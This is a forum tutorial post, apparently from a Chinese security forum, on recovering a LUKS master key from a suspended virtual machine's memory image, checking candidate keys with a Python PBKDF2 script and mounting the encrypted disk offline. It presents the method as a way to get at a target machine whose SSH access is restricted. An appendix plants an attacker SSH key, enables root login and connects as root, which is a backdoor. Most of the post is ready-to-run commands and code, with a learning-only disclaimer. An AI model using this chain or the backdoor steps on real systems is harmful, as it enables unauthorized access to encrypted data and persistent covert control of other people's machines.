吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 143|回复: 0
上一主题 下一主题
收起左侧

[原创] LUKS 全盘解密实战笔记:内存提取主密钥 + 离线挂载

[复制链接]
跳转到指定楼层
楼主
Vvvvvoid 发表于 2026-5-15 22:47 回帖奖励
本帖最后由 Vvvvvoid 于 2026-5-15 23:51 编辑

LUKS 全盘解密实战笔记:内存提取主密钥 + 离线挂载

免责声明:本文仅供学习计算机取证与安全防御技术,请勿用于非法用途。理解 LUKS 的弱点,才能更好地设计防御措施(如使用 TPM、避免内存长时间存留密钥、及时关闭不用的加密分区等)。


背景:为什么需要这条路径?

  • 目标机器已启用全盘加密:在分区未解锁前,无法直接读取任何文件内容。
  • 同时 SSH 登录受限(端口/用户/认证方式均受控):即使网络可达,也无法通过远程登录拿到文件。

因此,本方案选择从「内核内存中残留的主密钥」入手:只要系统曾经解锁过加密盘,主密钥就有机会以明文形式驻留在内核内存中,进而实现离线解密与取证分析。


0. 原理简述

LUKS(Linux Unified Key Setup)是基于 dm-crypt 的磁盘加密规范。加密数据的真正密钥是 主密钥(Master Key / Volume Key),它由随机数生成,以加密形式存储在 LUKS Header 的密钥槽(Keyslot)中——用户密码并不直接参与数据加解密,它只是用来解开 Keyslot 中封装的 Master Key。

关键弱点:当 LUKS 分区被 cryptsetup open 解锁后,Master Key 会被注册进 Linux 内核 Keyring(dm-crypt 通过内核 key retention 机制管理),以明文形态驻留在内核地址空间,直到分区被 cryptsetup close 或系统重启。因此,只要能获取目标系统的完整物理内存镜像(例如通过虚拟机挂起文件、冷启动攻击等),就可以从中提取出 Master Key,离线解密整个分区——无需知道用户密码

:通过 /dev/mem 读取内存的方式在现代 Linux(内核 3.x 起)已受 CONFIG_STRICT_DEVMEMCONFIG_IO_STRICT_DEVMEM 限制,普通用户无法直接读取任意物理内存地址。本文采用虚拟机挂起(.vmem)的方式绕开此限制。

三个角色 + 一个验证点

角色 说明
Passphrase 用户输入的口令或 Keyfile,用于「打开某个 Keyslot」,不直接参与数据区加解密
KEK(Key Encryption Key) 由 Passphrase 经 Keyslot 的 KDF(PBKDF2/Argon2id)派生,用来解密 Keyslot Payload,还原 Master Key
Master Key(Volume Key) 真正交给 dm-crypt 负责数据区加解密的密钥;系统解锁后以明文注册进内核 Keyring,这是内存提取的根本原因
Digest(验证点) LUKS Header 中存储的「Master Key 经 KDF 运算后的指纹」,用于从大量候选 AES Key 中精确筛选出正确的 Master Key

0.1 逆向/取证视角:Header 里哪些字段真正与 Master Key 挂钩?

LUKS Header 可以粗略分成三块:口令解锁参数Master Key 校验指纹数据区解密参数。下面按本文路线(内存提取 MK → 离线验证 → 挂载)挑最关键的说。

A) 与 Master Key 强绑定(验证候选 Key 是否为真正的 MK)

对应 Digests,也是本文脚本使用的核心字段:

  • Hash / Iterations / Salt / Digest

可以把它理解为 Master Key 的「派生指纹」,不是简单的 hash(MK),而是以 MK 为输入的 PBKDF2 运算结果:

# 所有参数均从 Digests 段读取,无任何硬编码
dklen     = len(mk_digest)          # 由 Header 中存储的 Digest 字节数决定
mk_digest == PBKDF2-HMAC-{HASH_SPEC}(password=master_key, salt=mk_salt, iterations=mk_iterations, dklen=dklen)

其中各参数来源:

参数 来源字段 说明
HASH_SPEC Digests.Hash 可以是 sha1、sha256、sha512 等,由 Header 决定,不固定
mk_salt Digests.Salt 验证专用 salt,与 Keyslot 的 salt 无关
mk_iterations Digests.Iterations 验证专用迭代次数
dklen len(Digests.Digest) 读取存储的 Digest 字节数,不假设固定值

只有真正的 Master Key 代入计算后才能与 Header 中存储的 Digest 完全吻合。

B) 与 Passphrase 强绑定(决定能否「用口令还原 MK」)

对应 Keyslots 下每个 Slot 的 KDF 参数 + 封装参数:

  • PBKDF: pbkdf2 / argon2id(及对应的 salt、iterations / memory、time、threads 等参数)
  • Cipher / Cipher key:加密 Keyslot Payload 使用的算法(注意:这里不是数据区的 cipher)
  • AF stripes / AF hash:AFIS(Anti-Forensic Information Splitter)条带化参数
  • Area offset / length:Keyslot Payload 在磁盘上的位置与长度

AF Stripes 的真实用途(常见误解纠正):AFIS 并非为了让数据「看起来噪声化」。它的真实目的是保证密钥槽可被安全擦除:Master Key 材料被拆分成 N 条(默认 4000)条带分散存储,重建时需要全部条带参与运算。只要任意一条被覆写,整个 Master Key 便永久不可恢复。这使得「吊销一个密钥槽」的操作在物理层面真正不可逆,是 LUKS 密钥安全删除(Secure Key Erasure)机制的核心。

关系链(概念上):

passphrase → KDF(salt, iterations) → KEK → 解密 Keyslot Payload → AFIS 复原 → master_key

本文路线是「绕过 Keyslot,直接从内核内存拿 MK」,所以 Keyslot 的细节不展开,但理解这条链有助于知道 Passphrase 在 LUKS 里扮演的角色。

C) 与数据区解密强绑定(有 MK 还不够,还要知道怎么用)

对应 Data segments 段:

  • cipher(如 aes-xts-plain64 / aes-cbc-essiv:sha256
  • sector(扇区大小)
  • offset / length(密文数据区在磁盘上的位置/长度)

关系:

master_key + cipher + mode + iv-generator + sector_size → 对 data segment 正确解密

拿到 MK 只是「有了钥匙」,而 Data segments 决定「锁芯规格」(算法/模式/IV生成方式/扇区大小)。任何参数不匹配都会导致解密乱码。

D) 弱相关/辅助定位字段

  • UUID / Label / Subsystem / Flags / Epoch:标识与元数据版本管理,不参与 MK 推导,但对定位同一容器、判断元数据是否被篡改有价值。
  • Tokens(如 systemd-fido2、TPM2 绑定等):启用硬件解锁/自动解锁时,Token 提供获取解锁材料的第三条路径(本质上仍是某种方式最终拿到 KEK 或 MK)。

字段总结

目标 对应字段
验证候选 MK Digests(MK → PBKDF2 → Digest)
从口令还原 MK Keyslots(Passphrase → KDF → KEK → 解包 + AFIS → MK)
用 MK 解密数据 Data segments(MK + cipher / mode / IV / offset / sector)

1. 环境准备

本文操作需要两台虚拟机 配合:

角色 说明
VM1(目标机) 将加密硬盘作为物理启动盘,让系统自行解锁并引导,挂起后获取 .vmem 内存镜像文件
VM2(分析机) 普通 Linux 系统,以只读方式附加同一块加密硬盘,读取 LUKS Header 元数据,运行 Python 脚本验证候选密钥,最终挂载解密分区

所需工具:

  • VMware Workstation(或其他支持挂起并生成 .vmem 的虚拟化软件)
  • 目标加密硬盘(通过 USB/Type-C 转接连接到宿主机,透传给 VMware)
  • findaesGitHub Release 下载 或自行编译)—— 运行在宿主机 Windows 上,扫描 .vmem 文件
  • cryptsetup(安装在 VM2 分析机 Linux 中)
  • Python 3(安装在 VM2 分析机中,用于离线验证候选密钥)

2. VM1:获取目标内存镜像(.vmem 文件)

2.1 准备并启动 VM1

  1. 新建一个空虚拟机(无需安装系统),将目标加密硬盘配置为唯一的物理启动盘,并启用 UEFI 引导。
  2. 启动 VM1。系统会从加密硬盘引导,自行完成 LUKS 解密并进入系统——此时 Master Key 已明文注册进内核 Keyring,驻留在物理内存中。
  3. 确认系统已完全进入桌面或 Shell(确保 LUKS 分区已完成解锁),然后在 VMware 菜单中执行 挂起(Suspend) 操作。

挂起完成后,VMware 将整个虚拟机内存(包含内核地址空间)转储到 .vmem 文件,通常位于 VM1 的目录下,例如 vm1-fbbf6382.vmem

2.2 使用 findaes 扫描内存文件

在宿主机 Windows 上执行:

D:\\Download\\findaes-1.2\\findaes.exe vm1-fbbf6382.vmem

输出示例:

Searching vm1-fbbf6382.vmem
Found AES-256 key schedule at offset 0x4fd4970:
91 cd 40 07 18 fa 2f 0c 4c 63 e1 d6 d0 93 17 58 aa 98 75 47 b9 3f 11 32 6b 33 15 e1 98 66 04 c5
Found AES-256 key schedule at offset 0x6adaa30:
4a 3e e5 15 8f ec a1 1c fe b0 ae a1 1f 8d ce 32 30 5f a0 1d ba 83 0f 4d 10 52 d8 e5 f4 36 62 2b
Found AES-256 key schedule at offset 0x7eeac10:
...

findaes 工作原理:AES 在运行时会将原始密钥扩展成一张「轮密钥表(Key Schedule)」(AES-256 展开后约 240 字节),用于每轮加密运算。findaes 通过识别内存中符合 AES Key Schedule 数学结构的特征模式来定位它,然后从展开表中反推还原出原始的 32 字节密钥并输出。因此每行输出的是还原后的 32 字节原始候选密钥,而非 Key Schedule 本身。

候选密钥中可能包含大量误报(来自其他加密任务),需通过下一步的 PBKDF2 验证精确筛选。将所有输出的十六进制行复制保存备用。


3. VM2:获取 LUKS Header 元数据

在分析机 VM2(普通 Linux 系统)中,将同一块加密硬盘以只读方式附加(本例通过 M.2 转 USB 连接到 VMware 虚拟机)。

此步骤只需读取 LUKS Header 元数据,不需要解密分区内容,无需输入密码。

# 确认 LUKS 分区
blkid | grep crypto_LUKS
lsblk -f

输出示例:

[root@~]# blkid | grep crypto_LUKS
/dev/sdc2: UUID="3ad80234-82e6-4ce7-9a7c-cd346e2c6b36" TYPE="crypto_LUKS"
/dev/sdc3: UUID="9c16e072-21a3-405e-9845-0516ab517893" TYPE="crypto_LUKS"

读取目标分区(本例为 /dev/sdc2)的完整 Header 信息:

cryptsetup luksDump /dev/sdc2

输出示例:

LUKS header information
Version:        2
Epoch:          4
Metadata area:  16384 [bytes]
Keyslots area:  16744448 [bytes]
UUID:           3ad80234-82e6-4ce7-9a7c-cd346e2c6b36
Label:          (no label)
Subsystem:      (no subsystem)
Flags:          (no flags)

Data segments:
  0: crypt
        offset: 16777216 [bytes]
        length: (whole device)
        cipher: aes-cbc-essiv:sha256
        sector: 512 [bytes]

Keyslots:
  0: luks2
        Key:        256 bits
        Priority:   normal
        Cipher:     aes-cbc-essiv:sha256
        Cipher key: 256 bits
        PBKDF:      pbkdf2
        Hash:       sha256
        Iterations: 8858086
        Salt:       a5 45 c7 a8 3a 2d 8d 95 fc bd da b0 c0 a4 ad a4
                    2c 62 f3 d7 d0 d8 1d a8 9d ed 5c 51 eb f9 7b 0f
        AF stripes: 4000
        AF hash:    sha256
        Area offset:32768 [bytes]
        Area length:131072 [bytes]
        Digest ID:  0
Tokens:
Digests:
  0: pbkdf2
        Hash:       sha256
        Iterations: 551301
        Salt:       56 d0 61 f5 bc fd 43 4f 2e c9 06 41 ab 20 10 f1
                    bd 23 5e 1b 04 a4 4f 02 9d 66 24 65 87 0a f8 71
        Digest:     67 8e d2 4c ff d9 22 e8 73 73 86 6e 3a 6f 0b 57
                    30 eb 35 1c d6 36 db 17 4b 4c c1 b8 4d e2 3c 78

记录 Digests 段中的以下关键值,供验证脚本使用:

字段 本例值
Hash sha256
Iterations 551301
Salt 56d061f5bcfd434f2ec90641ab2010f1bd235e1b04a44f029d662465870af871
Digest 678ed24cffd922e87373866e3a6f0b5730eb351cd636db174b4cc1b84de23c78

4. VM2:离线验证候选主密钥

验证原理:对每个候选密钥 K,依照 Digests 段中记录的参数计算:

dklen  = len(mk_digest)          # 从 Header 存储的 Digest 字节数读取,不硬编码
result = PBKDF2-HMAC-{HASH_SPEC}(password=K, salt=mk_salt, iterations=mk_iterations, dklen=dklen)

其中 HASH_SPEC 来自 Digests.Hash(本例为 sha256,但可以是任意算法),三个参数均从 Header 中读取,无硬编码假设。若 result == mk_digest,则 K 即为真正的 Master Key。

findaes 输出的候选密钥列表和上一步得到的 LUKS 元数据填入以下脚本,在 VM2 中运行:


#!/usr/bin/env python3
"""
基于 LUKS2 header 的离线主密钥验证(PBKDF2 方式)
Usage: python3 test_luks_key.py  (不需要 root,纯离线计算)
"""

import hashlib
import binascii
import sys

# ── 从 cryptsetup luksDump /dev/sdc2 的 Digests 段直接填入 ──
HASH_SPEC  = "sha256"
device = "/dev/sdc2"
ITERATIONS = 551301
MK_SALT    = "56d061f5bcfd434f2ec90641ab2010f1bd235e1b04a44f029d662465870af871"
MK_DIGEST  = "678ed24cffd922e87373866e3a6f0b5730eb351cd636db174b4cc1b84de23c78"

# ── 候选主密钥(从 findaes.exe 或取)──
KEY_HEX_LIST = [
    '91cd400718fa2f0c4c63e1d6d0931758aa987547b93f11326b3315e1986604c5',
    '4a3ee5158feca11cfeb0aea11f8dce32305fa01dba830f4d1052d8e5f436622b',
    'd281ce0de42ce741779071f097a98e1ecf1a22b41054282d3150a9ee572e6712',
    ......
]
# ────────────────────────────────────────────────────────────

def clean(hex_str):
    return "".join(hex_str.split())

def verify_key(key_hex):
    key_bytes    = bytes.fromhex(clean(key_hex))
    salt_bytes   = bytes.fromhex(clean(MK_SALT))
    digest_bytes = bytes.fromhex(clean(MK_DIGEST))
    dklen        = len(digest_bytes)   # sha256 → 32 字节

    x = hashlib.pbkdf2_hmac(
        HASH_SPEC,
        key_bytes,
        salt_bytes,
        ITERATIONS,
        dklen=dklen
    )
    return x == digest_bytes

def main():
    print("=" * 60)
    print(f"  LUKS2 主密钥离线验证({device})")
    print("=" * 60)
    print(" Hash      : {}".format(HASH_SPEC))
    print(" Iterations: {}".format(ITERATIONS))
    print(" Salt      : {}".format(clean(MK_SALT)))
    print(" Digest    : {}".format(clean(MK_DIGEST)))
    print(" 候选密钥  : {} 个".format(len(KEY_HEX_LIST)))
    print()

    found = None
    for idx, key_hex in enumerate(KEY_HEX_LIST, start=1):
        key_hex = key_hex.strip()
        print("[{}/{}] 测试: {}".format(idx, len(KEY_HEX_LIST), key_hex))

        if len(clean(key_hex)) != 64:
            print("    [-] 长度错误(需 64 个字符),跳过")
            continue

        try:
            ok = verify_key(key_hex)
        except Exception as e:
            print("    [!] 异常: {}".format(e))
            continue

        if ok:
            found = key_hex
            print("    ✅ PBKDF2 验证通过,主密钥正确!")
            break
        else:
            print("    ❌ 不匹配")

    print()
    print("=" * 60)
    if found:
        print("✅  有效主密钥:")
        print("    {}".format(clean(found)))
        print()
    else:
        print("❌  所有候选密钥均不匹配。")
    print("=" * 60)

if __name__ == "__main__":
    main()

运行:   

python3 verify_luks_mk.py

找到正确主密钥后,可直接执行的挂载命令。


5. VM2:使用 Master Key 直接挂载 LUKS 分区

在 VM2 中执行(以 /dev/sdc2 为例,将 <master_key_hex> 替换为实际找到的主密钥):

# 1. 将十六进制主密钥转换为二进制密钥文件
echo '<master_key_hex>' | xxd -r -p > /tmp/mk.bin

# 2. 通过主密钥打开 LUKS 分区(建立 device mapper 映射)
device="sdc2"

# cryptsetup < 2.4(旧版)
sudo cryptsetup  --debug  open --master-key-file /tmp/mk.bin "/dev/${device}" "${device}"

# cryptsetup >= 2.4(新版,--master-key-file 已废弃,改用 --volume-key-file)
# sudo cryptsetup --debug open --type luks2 --key-size 256 --volume-key-file /tmp/mk.bin "/dev/${device}" "${device}"

# 追加 --debug 参数输出详细日志,便于排错

# 3. 挂载解密后的设备
sudo mkdir -p "/mnt/${device}"
sudo mount "/dev/mapper/${device}" "/mnt/${device}"

# 4. 查看数据
ls -la "/mnt/${device}"

# 5. 操作完毕后卸载并关闭(释放 device mapper 映射)
sudo umount "/mnt/${device}"
sudo cryptsetup close "${device}"

# 6. 删除明文密钥文件
rm -f /tmp/mk.bin


成功后,device mapper 的映射关系如下:

[ 物理加密硬盘 ]
       |
       v
/dev/sdc2                    ← 原始 LUKS 分区(密文)
       |
       | cryptsetup open --volume-key-file /tmp/mk.bin
       v
/dev/mapper/sdc2             ← dm-crypt 解密后的虚拟块设备
       |
       | mount
       v
/mnt/sdc2                    ← 可正常读写的文件系统挂载点

解密后的设备出现在 /dev/mapper/ 下,名称由你在 cryptsetup open 命令中指定。至此加密盘内容可完全读取。

验证技巧:可用 dmsetup table --target crypt --showkey 查看当前所有 dm-crypt 映射及其使用的密钥,确认挂载是否正确。


附:解密后修改 SSH 配置实现免密登录

成功挂载目标系统的加密盘后,可直接修改其 SSH 配置文件以实现后续免密登录。

重要:以下所有路径均以挂载点为前缀(本例为 /mnt/sdc2)。若省略前缀,操作的将是分析机 VM2 自身的文件系统,而非目标盘。

1. 修改 SSH 监听端口

1. 查看 SSH 端口
2. 允许 root 登录
3. 开启公钥认证
4. 公钥添加
- 位置: /root/.ssh/authorized_keys
- 内容: ssh-rsa AAAA... marlkiller@voidm.com
5. 权限设置
chown -R root:root /root/.ssh && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys && ls -la /root/.ssh/

6. 连接命令
ssh -v -i id_rsa -p 2022 root@192.168.1.1

6. 补充说明

  • findaes 可能输出大量假 Key(来自其他加密任务的 AES Key Schedule),PBKDF2 验证可精确筛出唯一正确的 Master Key。
  • 如果目标系统使用 LUKS1cryptsetup luksDump 输出格式有所不同(MK-digest 位于 Header 固定偏移处,结构与 LUKS2 的 Digests 段不同),但提取和验证的核心原理相同。
  • 本方法的前提:目标系统必须处于运行状态且 LUKS 分区已完成解锁。已关机或从未解锁的系统,内核 Keyring 中不存在明文 Master Key,无法通过此方式提取。
  • VM1 挂起前务必确认系统已完全进入(而非停留在 LUKS 解密提示界面)。
  • VM2 可以是任意 Linux 发行版(Live CD 亦可),只需能识别 LUKS 分区并已安装 cryptsetup 和 Python 3。

7. 参考链接

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-5-16 04:52

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表